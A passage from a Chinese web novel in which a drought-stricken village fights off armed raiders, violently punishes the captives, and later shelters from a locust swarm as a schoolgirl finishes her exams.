那天，钟莹莹在家里忽然听到一声枪响，刚开始她还以为是有人放鞭炮，又觉得不对劲，早就不给放了，怎么可能？ 她没听明白，村里经历过战争的大人却是听出来是什么声音，把孩子都放家里关好，陈显英少有的严肃：“都别出声，听见了没。” 孩子们不懂，但也老老实实的，钟伟先出去看是啥情况了。 等外面风平浪静了，他才回来。 第70章 这简直太狂野了！生长在和平年代的钟莹莹除了在手机里，哪在现实中见过这场面啊。 以前就听说农村的村与村之间打架，是直接真刀真枪的干，有些还能搞出土炮来，更甚之连医务兵都有，她今天也算是开了眼了！ “爹，真的有人打枪吗？”钟莹莹凑到钟伟先近跟前。 丽丽和钟新澄也不例外，叽叽喳喳的围上来：“爷爷，爷爷，那是打小本子的枪吗？” “村里是来坏人了吗？” …… 村里的哪个孩子没听过几个打本子的小故事啊！ 钟伟先刚坐下喘了一口气，喝了一口茶，就被几个兴奋的小崽子一个接一个的问题给问住了。 他挨个解答：“是有人打枪。” “打没打过小本子不知道，是隔壁吴家村有人抢东西，闹起来了！吴家村的村长掏出枪来，射了几枪，才止住。” 陈显英有些担心：“那打死人了吗？” 都动枪了，不敢想场面该有多乱。 “没有，打死人那还了得？ “就是朝天上放了几发空枪，抓住人后，公安来给闹事的都带走了！”他放下水碗，接着解释道。 陈显英缓了一口气：“那就好、那就好！” 打死人的事，她见过，她这个年纪的，都是经历过战争的。 亲眼见着亲戚邻居一个个认识的人在自己眼前死去，那滋味谁也受不了。 因此，她特别强调：“最近你们仨都给我好好的待在家里，谁也不许出去，听见了没有？” 饥饿到一定程度的灾民什么事情都能做的出来，大人能反抗，孩子一旦遇到，毫无反抗之力。 他们家这三个孩子，每一个都是宝贝，一个也不能出事。 钟新澄和丽丽年纪小，不明就里，钟莹莹明白她娘的担忧，一口答应下来：“放心吧，娘，我会看好他们两个，不给他们出去的。” 她想看打枪，她不想找死啊！这个小身板，扛不住几拳头的。 钟伟先不放心村里的事，稍一犹豫后，就坚定的对陈显英道：“孩他娘，把咱家的枪也拿出来！” 陈显英不太想给：“真的要动枪吗？” 枪这东西，不但伤人，也伤自己，擦枪走火，伤及无辜，持枪人也落不得好。 “我也不想啊，咱们村人太少了，地里小麦又比别的村的长得好，吴家村都被盯上了，咱们能不被盯上吗？” 难民一波一波来，他们的青壮加上成年妇女，也才三四十人，其中一小半还得在家守着孩子，防止有人偷家，能绕村巡逻的人直接少了一大半。 巡逻的人也得休息，要轮班，这样每次外面也就七八个能工作。 不带着枪，没有威慑力，大股灾民一拥而上，压根打不过。 “那还是带着吧，我这就去给你找！”比起走火蹲篱笆子，和被别人打了，陈显英宁愿是前者。 钟莹莹傻眼了，她知道这个年代好多家庭都保留的有之前打仗用的武器，她没想到，她家也有啊！ 藏在哪里的？她天天搁家里捣鼓东西，这翻翻，那找找的，也从来没见过啊！ 过了好一会儿，陈显英才从她和钟伟先那屋抱出来一个盒子，上面还沾着土，想来是刚从下挖出来。 原来是埋起来了，钟莹莹不奇怪了。 木盒被打开，里面两只土枪包着一层厚厚的油纸，显然被保存的很好。 盒子两侧，还放了几包子弹，属实是很狂野了。 钟伟先扔给了钟绍华一把，让他给自己拿着，另一把留给了陈显英。 “家里要是有陌生人进来，你直接开枪打。”这个进来自然指非正常途径。 陈显英拉住他劝道：“要不两把你都带着，家里门锁好，你们在外面巡逻，没事的。” 钟伟先把枪塞回她手里：“绍华又不会使枪，拿着也没用。” “家里那么多孩子呢，万一有那看漏了的闯进来了呢？” 陈显英看了一眼钟莹莹，还有钟新澄和丽丽，她还是把枪留下了。 钟伟先临走前还不忘安慰老婆孩子：“放心吧，没事的，公安抓那一波，他们能老实很久。” “我们也只是防患于未然，没事正好，有事的话咱们也不怕事。” 钟伟先在家里就歇了一会儿，带着钟绍华直奔村长家去了。 钟家几个孩子围着陈显英，眼里全是好奇，确切的说是好奇那把枪。 钟新澄转悠了几圈，见陈显英不理他，小手就这么要摸上去了。 ‘啪’的一声又被人拍回去了。 “奶奶！”钟新澄不满的控诉，大眼睛里憋了一泡泪水。 “别什么东西都想摸一摸，走火了，你也叫不了我奶奶了！” 陈显英因为焦虑，这会子脑子里一股无名火，平常宠爱的孙子也不惯着了。 “呜呜呜……”钟新澄没见过这阵仗，一下子怕了，手被打的痛痛的，也不敢大声哭，就这么小声捂着脸哭。 家里其他人都被外面紧张的氛围传染了，对于他这点小矫情，没人在意，他哭了一会儿，自己把自己哄好了。 钟莹莹瞧了，那枪构造挺简陋的，老大一把，看着就老沉了，跟后世人家打猎的猎枪一样。 不过就算这样，她也挺眼热的，那可是货真价实的枪啊！ 知道她娘不会给他们碰这个危险物品，她也没开口，等到最近这事情过去了，总能找到机会摸两把的。 到了中午，钟伟先还没回来。 陈显英怀揣着不安，进灶房舀了两三勺代用粮，然后又从屋里的粮食柜里倒出一碗白面，跟着代用粮一起搅拌，兑水，加上老面头，一起揉成面团，发酵好，掐成小剂子，捏成窝头形状，上锅蒸了。 唉呀～能吃点好的就吃点好的，谁也不知道明天会怎么样，陈显英这样想着。 自家人不吃，谁也不知道会不会便宜了别人。 钟明月从咸菜坛子里捞出一把酸豆角来，洗干净，从猪油坛子挖出两三勺带着肉的油，把油烧热，豆角切碎了，配上葱姜蒜，放锅里一块炒了，盛到两个盘子里。 陈显英将窝头趁热捡拾了四五个放到大海碗里，转头对着家里人道：“你们先吃饭，我去给他们送点饭去。” 钟明月按住她的手：“娘，我去送吧！” “我腿脚好，走得快，送到就回来。” 陈显英年纪大了，身子还动过刀，遇到事就不是小事。 “也行，你去吧，注意安全啊！”陈显英把装好的饭放到菜篮子里，然后递给钟明月。 心里担忧的想，明芳那里也不知道咋样了，让她回来待着，她说她走了，黄有德上班去了，一家老的老，小的小，没办法的。 把丽丽送到陈显英这她就回婆家守着去了。 钟明月没多久就回来了：“娘，爹和绍华那没啥事，正轮班刚回到村长那，要回家吃饭呢。” 她话锋一转又道：“见我送饭去，他俩就说不回来了，吃完饭继续守着，菜篮子等晚上他们回来，会带回来的，您不要太担心了！” 话是那么说，钟明月自己都没啥底气，劝陈显英的话她说的声音虚虚的。 陈显英坐回板凳上，嘴里喃喃自语道：“没事就好，没事就好。” 她给一个孩子分了一个窝头，又递给钟明月一个：“都吃饭吧！” 吃了没几口，她又小声的骂：“贼老天，不下雨，要是下雨哪有怎么多事！” 骂完老天爷又骂那些闹事的人：“好好的日子你们不过，出来偷，出来抢，迟早吃枪子的玩意儿！” 越骂她越生气，像是被勾起了某些不太好的回忆。 钟新澄一脸惊恐，他奶奶疯了，怪不得今天舍得打他呢！ 吃完饭，碗没洗，陈显英让钟明月带着孩子在屋里不要出去，自己抱着枪在院子里等。 这个反驳不了，钟明月不会使枪。 忽然隔壁老万家传来一声尖叫。 “别抢我家东西！” 陈显英听出是何梦婷那丫头的声音，老万去村里跟着巡逻去了，家里可不只有俩孩子了。 钟明月听到声音从屋里出来，陈显英让她看好孩子守好门，陈显英自己则是利落的踩着鸡窝，探出半个头，去看老万家的情况。 钟明月拿着菜刀，钟莹莹也拿根棍，钟新澄把自己的小弹弓握在手里，丽丽给他捧着装小土球的弹药库木盒子。 四人守在堂屋门后，如果有人进院子，他们也会立马冲出去。 老万家院里进了好几个人，何止尧被拍了一板砖，倒在地上，身下全是血，不知是死是活，何梦婷守在他身边一边哭一边抖。 老万家的灶房里则是进了几个脏的看不清长啥样的男人，翻箱倒柜的找吃的。 陈显英气的发抖，畜生啊，连孩子都能下得去手。 她瞄准其中一个男人的小腿，当机立断就来了一枪。 随着‘砰’的一声枪响，巡逻队的人觉察到不对，村里有人家出事了。 “这家不是没大人吗？怎么会有枪！” “快跑，等下人来了就跑不了了！” …… 老万家院子里各种声音嘈杂的很，想跑路的，有还想再找点东西吃的。 其中有一个路过何家那俩兄妹，想踩着人就跑，陈显英又是一枪打过去，一人应声倒地。 “啊……我的腿……”那人抱腿嘶吼。 其他人顾不上拿东西了，做鸟兽状四散开来，刚出老万家大门，就被村里的巡逻队堵了个正着。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 一个个抱着枪的大汉就这么把枪口对准这群人。 当下就有人软了腿脚求饶：“我们错了，对不起，我们也是太饿了，才会做这样的事！” “对对对，要不是没得吃，谁愿意这样啊？” …… 一道又一道的声音响起，见村里人不吱声。 这一群男的又像是有了底气一样：“要不是你们不同意我们进村子，我们也不会偷跑进来找吃的！” 反正被抓了也不过是被送到公安去蹲篱笆子，过几年再出来又是一条好汉，他们的心态转变的特别快。 “对，那么大的村子，给我们这些拾荒的一口饭吃怎么了？” 他们越说越起劲，甚至还想推开村民挡路的手，但看到那冰冷的枪口，一个个又萎了回去。 “新文，去，那绳子给这些人捆了，送公安局去！”钟强先语气冰冷，不带一丝一毫的感情。 这些人真的是逃难的吗？里面老人小孩没有一个。 还能目标明确的找到他们村里家里只有孩子在家的家庭。 不是蓄谋已久，就是蓄谋已久。 “他们给止尧打伤了！快去看看孩子怎么样了！”村里人来了，陈显英才放下枪从家里出来。 “什么！”不止抢东西，还对孩子下手了？ 钟强先立刻让巡逻队的人加快速度，把那群人都捆了起来。 自己踩着一个被陈显英打伤了的人直接进了院子，他身后的人也有样学样，纷纷踩了过去。 “啊！痛啊！”断腿的那个人被嗷嗷直叫，在场的没有一个人心软。 尤其是见了院子里那形容凄惨的两兄妹，恨不得把这一伙人全都送上西天才好。 “快，孩子还有气，快给他止血！” 那一地的血，就没有一个人不动容。 老万恨的牙痒痒，对着被捆着的人上去就是几脚：“说，你们咋进来的？” 杀人抢东西找到他家，他就说怎么今天出门的时候感觉哪哪都不对劲。 那几人不说话，钟强先‘砰’的一下给其中一个腿上来了一枪，顿时所有人都老实了。 “我说，我说，别打我！”剩下的人怕自己也挨一枪，七嘴八舌的争抢着开口。 见场面又变得乱七八糟的，钟强先拿着枪又做了瞄准的姿势：“一个一个说！到底怎么回事？” 那群人被恐吓的瑟瑟发抖。 早先断腿的那个忍不住出来指认：“是他，是他说钟家岗有粮，我们可以过来抢的！” 顺着他的手指看过去，钟强先看到一个似曾相识的面孔。 可他却始终想不起来是谁。 钟伟先回家转悠一圈，见孩子们都好好的，他回来给钟强先说，要带一部分人回去继续巡逻，免得有人钻空子。 他扫了一眼，这一眼真有收获，断腿男指认的那人他见过。 这不之前第一波跟在那老头身后的那男的吗？ 他把自己的发现给钟强先说了，自己就带着儿子和其他几人巡逻去了。 陈显英从家里找来钟伟先藏着的酒，给何止尧的伤口消毒包扎止血，然后让老万夹着牛车，扛着枪，带着俩孩子去医院。 何止尧一直没醒，老万担心是不是伤到脑子了。 三个搅家精，丧门星凑到一起，他自己没事，俩孩子倒是被克的不轻。 老万坚强打起精神，故作轻松的想：看来小丧门星威力还是没有老丧门星的大。 钟莹莹从自家院子探出个头，不看不得了，一看吓一跳，钟家岗这是全民皆兵，家家户户都有枪啊。 村里巡逻的青壮里，除了他哥和钟新文这样新一代的年轻人，老一辈的人手一把枪。 “干什么呢？回家去。”这熊孩子，什么热闹都敢看，陈显英立马给人堵回家去了。 老万架着牛车，车上铺了厚厚的被褥，何止尧被人抬上车，何梦婷一直哭个不停，怕孩子一个在家里害怕，他把她也带上了。 钟强先让他儿子钟新文跟上老万，路上有什么事也好有个照应。 把人送到医院后，直接去公安局喊人，他们还得守村子，抓到的这一群人，只能绑好了，等着上面的人来给他们带走。 还是人手不够，吃饭的时候嫌人多，干活的时候嫌人少。 钟强先审问给消息的那人：“你们其他人哪去了？” 那男的哆哆嗦嗦的答：“我也不知道！” “真不知道还是假不知道？”钟强先身后站着的村民又举起了枪。 钟强先把他给拦了下来，那男的还以为钟强先是放过他了，却又听钟强先开口道：“人都已经抓住了，就不用再浪费子弹了，用这个！” 说着他捡起一块板砖，不是别的，正是之前他们拿来打何止尧的那一块，上面还沾着血迹呢！ 子弹都是以前的存货，现在不允许买卖这东西，用一颗少一颗。 “我真的不知道啊！”他精神已经崩溃了。 满地都是血，已经分不清谁是谁了。 之前打那小孩的时候没觉得有啥，要轮到自己了，他尝到痛了。 “我们村的孩子谁砸的你总该知道吧？”何止尧兄妹俩来村里好几个月了，一直安分守己，还会给村里人干活，大家都真心接纳了他家，现在俩孩子被打成这样，大的那个能不能活还不一定，钟强先觉得，他这个当村长的总该给孩子讨回公道。 这群拾荒者本就是临时组队的一群乌*合之众，没几秒动手的那人就被出卖了。 不是别人，正是和钟强先面对面的这个告密者。 被同伴推出来的告密者一脸绝望：“我真的不是故意的。” “要不是他一直拦着，不让我拿吃的，我也不会打他的。” 他就是顺手抄起一块砖，没想到刚好砸中那孩子的脑袋，当时他也有点害怕。 但看到其他人在那**，他立时感觉热血沸腾，一下子就把被他砸到头的人抛之脑后了。 谁曾想到，村里的巡逻队来的这么快，他们还没来得及跑，就全部被抓了。 他们还有枪，这真的有王法吗？男子越想越越绝望。 听着他的强词夺理，村里人是越来越愤怒。 钟强先这次没再阻拦，他淡淡开口道：“别打死了，还要留一口气交给公安带回去调查呢！” 伴随着一阵阵哀嚎声，这群作恶多端的人被拳打脚踢，用棍子打，砖头砸……混乱中，棍子断了，砖头也拍碎了。 老万家地上的泥土也被染成红色。 县里的公安姗姗来迟。 一看这场面，顿时头痛不已。 来人不是别人，正是钟强先的小舅子，黄有德，他眉心紧皱：“姐夫啊，你可又给我找了个大麻烦，怎么给人打成这样啊？” 一地躺着的人，被打的身上没一块好肉。 地上的人见警察来了，立马像找到主心骨了一样，想也不想就开口举报：“警察同志，我要举报，他、他、他们有……枪！” 他被打的头晕眼花，脑子不太好使了，因此也就忽略了黄有德开口喊的那句‘姐夫’。 “老实点！”见他挣扎着往黄有德那边扭，老楚上去就是一脚，他可没什么同情心。 今天他同情这些人，明天这些人就能进他家里烧杀抢掠去。 想到自己的闺女儿子，老楚又感觉手痒了。 村民们手里有枪上面是知道的，虽然鼓励大家把枪充公，但也没有强制要求必须上缴。 因为大家的枪大多都是战争时期，打小本子的时候留下的。 枪和他们的祖先一样，都是立过功的。 附近的村子都是这个样子，大家多多少少都保留了一些暴力武器。 像钟家岗一次拿出来这么多的，有些晃眼。 黄有德好声好气的劝告：“姐夫啊，村民们手里这些枪，平常还是不要拿出来比较好。” “你们这样搞，我们也很难办啊！” 对于持枪睁一只眼闭一只眼是一回事，发生大规模的械斗，挨批评的是他们这些警察。 见黄有德就这么不轻不重的说了钟强先几句，那人不服气：“我要举报，你这是包庇行为，等着吧，等到了公安局，我要你们好看！” 他还想叫嚣，黄有德拿过村民手里的枪，‘哐’的一声照他脑袋砸了下去，世界立马恢复安静。 他下手有分寸，只会让他‘睡过去’，并不会造成其他后果。 至于疼痛，些许无足轻重的副作用而已。 黄有德微笑道：“姐夫，你继续说！” 这个笑容在剩下还醒着的那群人看来，简直比魔鬼还可怕，一个个顿时安静如鸡。 “我们也是没办法啊，你知道这群畜生干啥了吗？”钟强先接着继续说：“止尧那孩子你知道吧？” 黄有德点点头：“知道，他怎么了？”挺老实上进孩子。 钟强先强忍怒火：“这群人给他快打死了，老万给人送医院去了，还不知道能不能救回来！” 不等黄有德反应，他接着又道：“我怀疑这伙人是团伙作案，并不是一时冲动，那个人之前来过我们村！” 钟强先手指指向其中一个被打断腿的男人，也就说那个告密的人。 “他上一次来，是混在一群老弱妇幼当中，这次来就变成了一群壮劳力！逃荒人哪有这样的？” 谁家祖祖辈辈没有经历过逃荒、拾荒，不都是拖家带口的吗？还没见过跑到一半，换个队伍接着跑的。 黄有德神情变得严肃，这事要是真的，可事情可就大条了。 群众自发的逃荒路上因为饥饿抢劫食物，和有预谋的聚众抢劫是两个概念。 钟家岗这事还涉及到了恶意伤人，说的是这群外来人员，不是村民。 当地一向民风彪悍，村民们冲动一些也正常，他们习惯了。 可这群外来人员不一样，如果何止尧没死，那就是伤人，死了，罪加一等，是恶意杀人。 “把人都给带走。” “是，黄队！” 随着警察把这群人拷走，钟家岗又恢复了往日的平静。 但大家都知道，情况到底是变了。 这群人的惨状，彻底震慑住了还在钟家岗周围游荡的逃荒者。 他们拾荒都要离钟家岗八丈远，太凶残了！拿点东西就给人打成这样！还有后台！不敢惹不敢惹！ 第72章 何止尧是在半个月后才回到村子里的，小小的脑袋瓜子包了一大圈纱布，看着怪可怜的。 “医生说是什么脑震……脑震啥来着，我给忘了，反正就是还得躺着，不能动。”好好的孩子给伤成这样，老万心里满是愧疚。 何止尧不怪他，又不是他打的自己。 他躺在牛车上，艰难的说：“我没事的。” “医生还给开了证明，能去粮站买精品粮，好事嘞！” 精品粮就是正经的粮食含量比代用粮高一倍的粮，有医院的批条，粮站才会往外卖，是专门拿来给病人和体质虚弱的人补充营养的。 “你快躺着别说话了！医生让你好好休息！”老万见他想坐起来，立马又给他按回去了。 “伟先，帮个忙，帮我给他抬屋里床上去！” 医生不让他站起来，老万只能想法子给人抬进家。 他一个人不太好操作，就来喊钟伟先了。 钟绍华自告奋勇道：“我也来帮忙！” 三个人抬一个小孩，比两个人抬起来更稳当，老万拖着何止尧的头，钟伟先抱着他的脚。钟绍华在中间，托着他的屁股。 几个人三两下就将何止尧抬回屋里去了。 钟莹莹开学了。 其他年级可以拖一拖，他们这些准考生不行。 何止尧知道的时候，还难受了好久，觉得他的进度又落下了。 村里知青没啥事，自告奋勇的要给孩子们补课，不然没活干，一直吃白食，也过意不去。 何止尧是高兴了，其他孩子没一个开心的。 钟新澄更是气的嗷嗷哭，最后，钟莹莹承诺他，好好学习，等他放假，给他带小零食。 丽丽也一视同仁，学的好，给带头花。 初三的最后一学期，再不去学校，中考都没得考。 学校食堂不提供餐食了，只给蒸饭，学生们要自带粮食，每顿用装好，交到食堂里，食堂给蒸熟。 自带的粮食，好坏掺半，条件好的，代用粮里多掺些面粉、玉米面，条件不好的，代用粮里多是又掺和了些榆树皮粉末还有乱七八糟的野菜干。 有饭吃就不错了，没有人再挑剔这些粮食不好入口，他们只希望能多一点，能吃饱一点。 可家里的粮食是有限的，不可能放开了让他们无限量的吃。 每半个月回家取的粮，每一顿都要精打细算，不然这顿多吃了，下顿就要没饭吃。 陈显英给钟莹莹的粮食是属于比较好的那一阶梯范围内。 穷家富路，怕她缺营养，代用粮里除了面粉外，还混了些压扁的黄豆粕。 家里腌的咸菜也没少给带，孩子读书，不能让她饿着肚子。 鸡蛋啥的放久了不新鲜，就没带，等放假回家，再给她煮了补充营养。 他们这群待在家里的，想吃什么地里都有，学校只能吃食堂，给孩子多带点，也是应该的。 “莹莹，你们村有抢劫的吗？我们村有人家进贼了，我都不知道抓到了没！” 小姐妹们这么久没见面也不见生疏，反而话变得更多了些，叽叽喳喳在一起说个没完。 “我们村也进贼了，那些拾荒的太可恶了！连地里的菜苗苗都不放过。” 李红雪提起这个就咬牙切齿。 她一开始还可怜那些人，可那些人呢？把她家的菜地都给刨了，连菜苗苗都不放过。 刚种下的黄瓜苗都被拔了踩死了。 “你们村也有？” “你们村也有？” …… 大家一对账，发现都遭灾了。 祁绮在城里住，城里管的严，倒是没遇见这些糟心事。 不过她听说，有个村子特别厉害，动枪打了好些个人。 钟莹莹有些不好意思，这说的该不会是她们村吧？腿都给人打瘸了。 印象中也就只有他们村的人，拿着枪，一次挑了一群人。 “莹莹，你怎么不说话啊？祁绮说的该不会是你们村吧？”李红雪瞧出端倪，用肩膀碰了砰钟莹莹的肩。 钟莹莹没办法再隐瞒，只好点点头承认了：“是我们村！” “你们也太猛了吧！听说枪战打死好些人呢！莹莹这是真的吗？” 谣言传的真的很离谱。 钟莹莹无奈解释道：“没有打死人，只是打伤了几个，他们翻墙进院子，把我们村一个小孩快打死了，村里人才动枪的。” 再往下传下去，会不会把他们村的人都传成恶霸？ “连小孩都打，这些人也太坏了！”小姐妹们从一开始的好奇，转变为义愤填膺。 她们却不知道，钟莹莹口中的小孩，跟她们也差不多大，只是钟莹莹习惯性的把这个年龄段的人，都看成孩子。 聊完最劲爆的事情，又开始说生活琐事。 高家娣说：“我爹过年的时候，被家里人一劝又动摇了，想着要不要给我找个婆家！” 家里实在太缺粮了，还要供她上学，她也知道家里的难处。 其他几个女生大惊：“家娣，你可不能放弃啊！再坚持几个月，马上就熬出头了！” 高家娣何尝不想，她低头垂眸：“熬过初中，就算考上中专，还要再读三年，家里没钱了！” 钟莹莹给她出主意：“中专应当也能拿生活补贴，家里实在贫困的，可以跟老师申请一下，看看能不能拿贫困补助。” 想拿贫困补助很难很难，大家都很穷，只有穷到极点的学生才有机会。 高家娣，应当有机会的吧？ 楚秀秀迟疑道：“现在找婆家也找不到好的吧？” 除了感情特别好的，这两年的嫁娶几乎全部停滞，就因为大家连自己都快养不活了，更别提新生人口了。 她姐姐结婚后，也没要孩子，就这么一直拖着，大家都没想到，天能干那么久，日子能苦那么长。 “我自己也想再坚持一下！所以我来学校了！”高家娣想出人头地，学习是她唯一一个能够达成目的的最快途径。 她想着，就算自己自私一点，也要抓住这点机会，没准就成功了呢！或者没准就下雨了呢！ 多亏了学校推迟开学，她爹才能东拼西凑攒够钱，送她来上学。 “大家都再坚持坚持，一切都会好起来的！” 生活不可能会一直那么苦，总有一天会好转起来。 “对，我们都再坚持坚持！会好的！” 他们比那些逃荒的幸运多了，没有背井离乡，甚至还能坐到学校里，跟着老师学习。 六个小姑娘，彼此互相加油打气，渡过了最为艰难的一段时光。 多次的暴力事件，让县里知道，对这种事情不管不问是完全不行的。 只要不是当地户籍的人，一进入这里，就会被统一管控起来。 公安的院子里，已经快要关不下了。 他们这里也被逃荒人列为最好不要踏进的地界之一。 因为旱灾造成的暴力流血事件就这么被平息下来。 入伏之后，气温不断升高，仍旧是一滴雨都没有。 钟家岗的田地面积有些大，靠人力浇水已经完全管控不过来，村民们只能心痛的放弃了外围的地界。 一天不管，那小麦就被晒焦了大半。 反正也活不到收获那天，村里人干脆给他们割了放到篮子里背回来。 还算嫩的叶子，就放石碾子上碾碎了，汁液和渣渣一起和到面里，做饼子吃。 晒焦到不能吃的，就拿去喂给牛。 麦苗里的养分比其他杂草里的养分充足太多。 日头渐高，钟家岗的仅存种地面积是越缩越小，弃车保帅，他们只能保留下来最可能活下来的那部分去灌溉。 直到钟莹莹他们中考的那一天，都没下一滴雨。 田里的小麦，因为缺水早熟，麦穗小了不知道多少。 不过好在是保住了几亩，也算是有些收成，不算白忙活一场。 村里的水井也能看见底了，每回用水，都要排队等着，地下水往上渗的速度极慢，小半天才能渗满井底。 不光如此，打上来的水还很浑浊，里面掺杂着很多泥沙。 需要放置澄清后才能使用。 供人喝，都不太够量，别说再种东西了，再这么下去，他们县的人也该逃荒去了。 钟莹莹考完最后一门，老师收完卷子，她从考场里出来。 天空中忽然电闪雷鸣，狂风大作。 小伙伴们找到彼此，一脸惊喜的望着外面。 一滴、两滴、三滴、四滴……数不清多少滴。 倾盆大雨哗啦啦的落下来。 学生们跟疯了一样冲到雨里大喊：“下雨了！终于下雨了！” 钟莹莹也不能免俗，被小伙伴拉着冲进雨里，脸上雨水混着泪水。 天知道她多久没洗澡了，身上的泥搓下来估计都能捏个伸腿瞪眼丸了。 冰凉的雨水打在身上，拂去了夏日的燥热，也拂去了人们心中压抑了两年的烦闷。 “刚考完就下雨了，这是好兆头啊！一切都会苦尽甘来的！” 借着雨水，仿佛洗了个澡，身上舒服多了。 回到寝室，打来干净的水，擦洗一遍身子，躺回床上，不知道多怡然自得。 县中学对待学生很宽容，中考完给学生留下两天的休整时间，允许学生晚一些离校再离校。 考完试第一天，躺平，一整个寝室的姑娘，一动不动，呼呼大睡，连饭都没起来吃。 第二天，精气神恢复过来，去食堂蒸了饭，吃完饭，一起收拾东西，其他寝室已经有人离校了。 祁绮本来昨天就要回家的，但想到毕业后再见的机会不多了，舍不得小伙伴，才多留了一天。 六人组就要解散，各回各家，还没出寝室，就见天边一片黑云飘过，遮天蔽日。 祁绮惊讶的张大了嘴巴，不敢相信自己的眼睛。 第73章 “快回去，关门！是虫子！” 在乌压压的虫云嗡嗡作响下，她们很快退回寝室，把门窗都抵死了。 很快，门窗传来一阵噼里啪啦的撞击声。 刚开始还能透过玻璃窗看见前仆后继的虫子，后面玻璃窗被虫子完全淹没，屋里透不进一丝光线，高家娣去点燃了煤油灯。 门缝处有虫子钻进来，‘啪叽’一声被女生们踩死。 借着煤油灯的光亮，仔细观察虫尸，吴月小声道：“是蝗虫！” 蝗虫？蝗虫不是只有草堆里才有吗？ 祁绮不解：“怎么会有这么多蝗虫？”她就没见过这样多，把天空都给遮盖住了，如果人在外面，那是不是连人也能给啃干净。 设想一个来不及躲避的人，被虫潮覆盖全身，密密麻麻的虫子涌动，等虫子褪去，只剩下一句白骨。 祁绮被自己的猜想快给吓哭了，这也太可怕了吧！ 她苦着一张脸道：“这样子我们还怎么回家啊？寝室里没有吃的，外面都是虫子，我们不会饿死在这里吧？” “不可能……吧？”其他人也被她吓到了。 所有人都没见过这样的大场面，一时之间鸦雀无声。 没人说话，看着还在不断往里咕扭的虫子，只有‘啪叽’、‘啪叽’的拍打声。 挨着门的那块地面，被虫子的尸液染成深色。 这是夏天，他们出不去的话，没几个小时那个液体就能发酵变臭。 钟莹莹的鼻腔中仿佛已经能闻到一股怪味，她皱着鼻子道：“别打了，找东西把门缝堵起来，不然打的屋里到处都是。” 其他人仿佛大梦初醒一样，才想起，原来把门缝堵起来就行。纷纷行动起来，有拿来板凳的，但是门和面有点不太平整，板凳堵上去，还有一些小的缝隙能钻进来。 高家娣灵机一动，拿来了她用过的草稿纸。 她很节省，一点东西也舍不得丢，草稿纸是反复利用，直到上面密密麻麻写的全是字，就算没办法再演算了也没关系，还可以攒起来，攒够一大摞，就可以卖到废品站去换钱。 “呼～总算是堵住了～”缝隙被全部塞住的那一瞬间，所有人都长舒一口气。 一个个越过打包好的行李，躺回光秃秃的床板上。 “今天放假，有人会拉牛车上县里，他们没地躲，这虫子，该不会咬到他们吧？”高家娣仰头望着天花板。 她家她不担心，应该没人会来。 家里忙，弟弟小，她爹没空的，她自己走路也走习惯了。 考完试，带着全部行李回家，天热，厚的被褥早都拿回家去了，衣服也没几件，除了身上穿的，有些人连件换洗的都没有，就是书本有点重。 有条件的，能坐车肯定还是坐车。 “也不知道我家里人怎么样了？”昨天刚下完雨，今天没准就有人趁着土壤湿润掘地播种了。 钟莹莹也很担心，她放假，她哥或者她爹一定会来接她的。 来得晚还好，要是赶巧了，这个点在路上，那不正被蝗虫堵个正着？ 就这么在惶惶不安中度过了几个小时，屋外噼里啪啦的声音渐渐退去，窗子也逐渐恢复光亮，从里面往外看，只能看见零星几只蝗虫还在到处攀爬。 蝗虫大部队已经离开他们这里。 高家娣试探着说：“要不，开门看看？” 老这么关着，也不是个办法。 李红雪严肃点头：“开吧，开个缝就行。” 挪开板凳，小心翼翼的拔掉插销，给门开了一条缝。 外面天空恢复正常，如果不是地上和围栏上还停留着那么几只虫，之前那一切真的就像是她们在做梦一般。 “可以出来了！”李红雪确认外面没有危险之后，直接把宿舍门全部打开了。 “真的吗？”祁绮胆子小，开门的时候，她甚至没敢睁眼看。 “真的，你睁眼看看！” 听到小伙伴的回答，祁绮把视线放到门外，惊喜的发现，外面真的恢复正常了诶，她开心道：“那我们是不是可以回家了？” 钟莹莹建议她：“你去找郑老师一起回家吧，有什么事还能有个照应。” 其他几个舍友也很赞同：“对，郑老师应当在办公室，你跟她一起回家，安全一点。” 即使自己还不知道要怎么回家，她们还是都在真心的为祁绮打算。 祁绮点点头道：“好，等下我就去找我嫂子！” 她都中考结束了，郑老师这个当她任课老师的嫂子仿佛也没那么可怕了。 比起自己回家，还可能遭遇那些虫子，她还是选择和嫂子一起回家。 祁绮是第一个走的，接着高家娣也走了，她家里大概没人来接，所以早点走也能早点到家，再等下去，晚上要摸黑赶路了。 吴月和李红雪也结伴走了。 剩下钟莹莹和楚秀秀，还在等钟家岗的人。 俩人拎着行李，把寝室之前打蝗虫的东西都给弄干净，还有堵门的废纸给扔到寝室楼的垃圾桶里，清空整个寝室，才将钥匙还给楼下的宿管老师，一起到学校大门口等人。 没等多久，就见到钟家岗的牛车缓缓而来。 架车的人不是别人，是钟莹莹她哥，钟绍华。 只不过他一身狼狈，裸露在外的皮肉都有些微红发肿，像是遭遇了什么不可说的事情。 钟莹莹看他这样，那里还忍得住，抓紧丢下行李迎了上去：“哥，你这身上是怎么了？” 钟绍华笑了笑，没把这点伤口当成一回事，还出声安慰她道：“没事的，就是赶车的时候，被蝗虫咬了两口，躲的及时，可能是有点过敏，才肿起来了！” 被咬的伤口，除了肿之外，还有些发热。 “那要不要去医院看看啊？”钟莹莹的心揪了起来，她以前听说，蝗灾的时候蝗虫是有毒的，她哥又过敏，不会被毒死吧？ 钟绍华拒绝了，轻松道：“小事情，不用去医院，以前也被咬过，洗个澡，肿两天，自己就消了。” “倒是你们，没被咬吧？小姑娘家家的，被咬破相了可就不好了！” 钟绍华将钟莹莹上上下下都扫视了一圈，还好，身上没有伤口。 楚秀秀拎着行李走过来：“绍华哥，我们没被咬，刚看见蝗虫，我们就回寝室了！” 楚秀秀看着钟绍华身上的破口，只觉得她们运气好，要是走到校门口再看见蝗虫，指定没处躲。 “没事就好，快上车，我载你们回家！”钟绍华接过楚秀秀的行李，又三步并做两步，去把钟莹莹的行李也给拎上车。 等到俩小姑娘都坐稳，他拿小棍子敲敲牛屁股，让它出发。 一边赶牛，他一边道：“这蝗虫啊，来的巧也不巧！” “地里活下来的那些庄稼都晒干了，收进仓库了，它们来了也造不了孽！” “就是……”钟绍华摸了摸自己的脸，烫的吓人，再看看老伙计，以前属于他家的老黄牛，牛的身上也被咬了好多个包。 他这算倒霉还是幸运啊？ 赶车赶到一半，被蝗虫堵了个正着，正好前面就是公安局，把车子解下来，给牛也牵到公安局大厅里，还拉了人家一屋子的屎。 要不是黄有德是他姐夫，给牛干的事，擦屁股了，现在他还在公安局擦地呢！ 